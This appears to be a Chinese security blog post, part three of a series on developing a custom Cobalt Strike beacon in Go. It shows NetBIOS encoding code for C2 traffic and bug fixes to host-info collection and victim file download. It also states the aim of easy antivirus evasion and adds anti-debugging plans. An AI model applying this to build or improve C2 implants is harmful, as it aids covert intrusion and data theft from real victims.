【技术分享】从零开始开发CS beacon(三)

admin 2024年12月18日22:46:59评论5 views字数 1856阅读6分11秒阅读模式
【技术分享】从零开始开发CS beacon(三)

0x01 netbios加解密

因为我也才学golang,基本面向github编程,在网上只找到python版加解密的方式,所以需要翻译成go语言。通过正则匹配加密传输的内容,解密执行获取cmdtype对应的操作,然后加密发送。

编写加密代码:

func NetbiosEncode(data []byte) string{   q := ""   for _,value := range data{        q += string((int(value)>>4) + int('a'))+string((int(value)&0xf + int('a')))   }    return q}

最终成功上线如下,能够看见心跳包与执行命令都是正常的,说明加解密是没问题的:

【技术分享】从零开始开发CS beacon(三)
【技术分享】从零开始开发CS beacon(三)

0x02 项目优化

因为上线后,显示如下,开始我以为是CS显示问题,后来发现是代码实现问题:

【技术分享】从零开始开发CS beacon(三)

computer 与 prcoess 都不能正确获取,我们定位到sysinfo文件夹下meta.go文件,其中实现了收集beacon所在机器基本信息。

BUG-1:获取进程名

func GetProcessName() string {    processName := os.Args[0]    //fmt.Printf("processName: %vn", processName)    // C:UsersadminDesktopcmd.exe    // ./cmd    slashPos := strings.LastIndex(processName, "\")    if slashPos > 0 {        return processName[slashPos+1:]    }    backslashPos := strings.LastIndex(processName, "/")    if backslashPos > 0 {        return processName[backslashPos+1:]    }    return "unknown"}

这里原作者想到的是,带路径的执行参数,但是经过我测试,os.Args[0]获取到的就是当前exe名称,并不是一个绝对路径,如果是绝对路径可以通过下面判断截取EXE名。这里修改也简单,直接return processName就正常了。

BUG-2:获取机器名

func GetComputerName() string {    sHostName, _ := os.Hostname()    fmt.Printf("sHostName: %vn", sHostName)    // message too long for RSA public key size    if len(sHostName) > 10 {        sHostName = sHostName[1 : 10-1]    }    if runtime.GOOS == "linux" {        sHostName = sHostName + " (Linux)"    } else if runtime.GOOS == "darwin" {        sHostName = sHostName + " (Darwin)"    }    return sHostName}

这里机器名不能全部显示,确实跟他注释的原因一样,但是经过我测试发现,最长可以使用sHostName[0 : 14]切片。

BUG-3: 不能下载大的文件

当使用download 下载命令时,小文件可以下载,但是略微大的文件会出现如下报错:

【技术分享】从零开始开发CS beacon(三)

经过多次调试实验发现,以下语句有问题(我这里通过BP抓包发现的):

fileBuf := make([]byte, 512*1024)

他默认一次传输512kb数据,可是在header中如果数据过长会提示:BAD REQUEST: header length is too large

所以这里很简单,我们就一次传小点,比如2kb。重新编译就上线:

【技术分享】从零开始开发CS beacon(三)

0x03 总结

到这里,整个CS beacon适用自定义profile的开发流程就介绍完毕了,优化了原程序BUG,当然还有其他很多可以优化的地方。这个项目Geacon只实现了最基本功能,不像原生beacon那么多样,你就可以使用golang实现某些CS功能,比如execute-assembly,判断cmdtype就行。因为我的需求是CS跨平台的beacon,容易免杀(golang也有一些免杀的trick),后面还可以添加反调试的功能。项目地址:https://github.com/Nan3r/geacon_apt

【技术分享】从零开始开发CS beacon(三)
- 结尾 -
精彩推荐
完美收官 | 安全客官网升级岁末惊喜活动
【技术分享】 Latte-SSTI-Payloads总结
信用卡信息被窃取?随机WordPress插件遭感染可能是原因之一!
【技术分享】从零开始开发CS beacon(三)
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】从零开始开发CS beacon(三)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月18日22:46:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】从零开始开发CS beacon(三)https://cn-sec.com/archives/689320.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息